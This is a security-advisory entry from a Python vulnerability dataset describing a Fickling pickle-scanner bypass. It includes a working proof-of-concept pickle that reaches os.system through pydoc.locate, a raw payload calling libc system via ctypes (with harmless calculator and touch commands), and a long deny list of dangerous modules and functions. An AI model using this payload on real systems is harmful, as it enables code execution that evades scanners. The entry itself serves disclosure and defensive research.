CVE-2026-22608
Fickling scanner bypass via pydoc/ctypes allows remote code execution.
- CVSS 8.9
- CWE-184
- Input Validation and Sanitization
- Local
Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, both ctypes and pydoc modules aren't explicitly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE. This issue has been patched in version 0.1.7.
- CWE
- CWE-184
- CVSS base score
- 8.9
- Published
- 2026-01-10
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- Fickling
- Fixed by upgrading
- Yes
Solution
Upgrade Fickling to version 0.1.7 or later.
Vulnerable code sample
import pickle
import pydoc
import os
import platform
class FindFunction:
def __reduce__(self):
return (pydoc.locate, ('os.system',))
class RCE:
def __reduce__(self):
if platform.system() == 'Windows':
command = 'calc.exe'
else:
command = 'touch /tmp/pwned'
return (FindFunction(), (command,))
payload = pickle.dumps(RCE())
pickle.loads(payload)Patched code sample
# This code represents the state of the security-relevant data structures
# in fickling version 0.1.7, where the vulnerability was patched.
# The core of the fix was to add 'ctypes' to dangerous_modules and
# 'pydoc.locate' to dangerous_builtins.
dangerous_modules = {
"__builtin__",
"__main__",
"builtins",
"copy_reg",
"ctypes",
"dill",
"marshal",
"modules",
"numpy.core.multiarray",
"numpy",
"os",
"pickle",
"shelve",
"subprocess",
"sys",
"system",
"posix",
"pickletools",
"__subclasses__",
"__builtins__",
"__import__",
"eval",
"exec",
"compile",
"globals",
"locals",
"vars",
"getattr",
"setattr",
"delattr",
"open",
"classmethod",
"staticmethod",
"sys._getframe",
"__class__",
"__bases__",
"__mro__",
"__subclasses__",
"__dict__",
"__init__",
"__globals__",
"linecache",
"pathlib",
"shutil",
"tarfile",
"zipfile",
"tempfile",
"socket",
"ssl",
"ftplib",
"glob",
"multiprocessing",
"threading",
"pty",
"tty",
"platform",
"getpass",
"getopt",
"curses",
"sqlite3",
"asyncio",
"select",
"selectors",
"signal",
"posixshmem",
"posixsubprocess",
"resource",
"mmap",
"fcntl",
"grp",
"pwd",
"syslog",
"traceback",
"aifc",
"audioop",
"cgi",
"cgitb",
"chunk",
"crypt",
"dbm",
"ensurepip",
"filecmp",
"fileinput",
"idlelib",
"imaplib",
"imghdr",
"imp",
"importlib",
"msilib",
"msvcrt",
"nis",
"nntplib",
"ossaudiodev",
"pipes",
"poplib",
"rlcompleter",
"smtpd",
"smtplib",
"sndhdr",
"spwd",
"sunau",
"symbol",
"telnetlib",
"termios",
"time",
"trace",
"turtle",
"turtledemo",
"venv",
"wave",
"winreg",
"winsound",
"wsgiref",
"xdrlib",
"xmlrpc",
"path",
}
dangerous_builtins = {
"__import__",
"eval",
"exec",
"execfile",
"compile",
"open",
"file",
"input",
"os.system",
"os.spawn",
"os.spawnl",
"os.spawnle",
"os.spawnlp",
"os.spawnlpe",
"os.spawnv",
"os.spawnve",
"os.spawnvp",
"os.spawnvpe",
"os.popen",
"os.popen2",
"os.popen3",
"os.popen4",
"os.fdopen",
"os.tmpfile",
"os.execl",
"os.execle",
"os.execlp",
"os.execlpe",
"os.execv",
"os.execve",
"os.execvp",
"os.execvpe",
"os.fork",
"os.forkpty",
"os.kill",
"os.killpg",
"os.plock",
"os.putenv",
"os.read",
"os.pipe",
"os.open",
"os.openpty",
"os.write",
"os.system",
"sys.exit",
"sys.modules",
"sys.path",
"subprocess.call",
"subprocess.check_call",
"subprocess.check_output",
"subprocess.getoutput",
"subprocess.getstatusoutput",
"subprocess.run",
"subprocess.Popen",
"pty.spawn",
"linecache.getline",
"pathlib.Path.read_bytes",
"pathlib.Path.read_text",
"pathlib.Path.write_bytes",
"pathlib.Path.write_text",
"pathlib.Path.open",
"shutil.copy",
"shutil.copy2",
"shutil.copyfile",
"shutil.copyfileobj",
"shutil.copymode",
"shutil.copystat",
"shutil.copytree",
"shutil.disk_usage",
"shutil.make_archive",
"shutil.move",
"shutil.rmtree",
"shutil.unpack_archive",
"shutil.get_archive_formats",
"shutil.get_terminal_size",
"shutil.get_unpack_formats",
"shutil.register_archive_format",
"shutil.register_unpack_format",
"shutil.unregister_archive_format",
"shutil.unregister_unpack_format",
"tarfile.open",
"tarfile.TarFile.open",
"zipfile.open",
"zipfile.ZipFile.open",
"zipfile.ZipFile.extract",
"zipfile.ZipFile.extractall",
"zipfile.ZipFile.read",
"zipfile.ZipFile.write",
"zipfile.ZipFile.writestr",
"tempfile.mkstemp",
"tempfile.mktemp",
"tempfile.NamedTemporaryFile",
"tempfile.SpooledTemporaryFile",
"tempfile.TemporaryDirectory",
"tempfile.TemporaryFile",
"socket.socket",
"socket.create_connection",
"socket.create_server",
"socket.fromfd",
"socket.fromshare",
"socket.socketpair",
"ssl.wrap_socket",
"ssl.SSLContext.wrap_socket",
"ftplib.FTP",
"ftplib.FTP_TLS",
"glob.glob",
"glob.iglob",
"multiprocessing.Process",
"multiprocessing.Pool",
"multiprocessing.Queue",
"multiprocessing.Manager",
"multiprocessing.Pipe",
"multiprocessing.Semaphore",
"multiprocessing.Lock",
"multiprocessing.RLock",
"multiprocessing.Condition",
"multiprocessing.Event",
"multiprocessing.Barrier",
"multiprocessing.Value",
"multiprocessing.Array",
"multiprocessing.connection.Listener",
"multiprocessing.connection.Client",
"threading.Thread",
"threading.Timer",
"pydoc.locate",
}Payload
cbuiltins
getattr
(c pydoc
locate
(S'ctypes.CDLL'
tR(S'libc.so.6'
tRS'system'
tR(S'gnome-calculator'
tR.
Cite this entry
@misc{vaitp:cve202622608,
title = {{Fickling scanner bypass via pydoc/ctypes allows remote code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-22608},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-22608/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
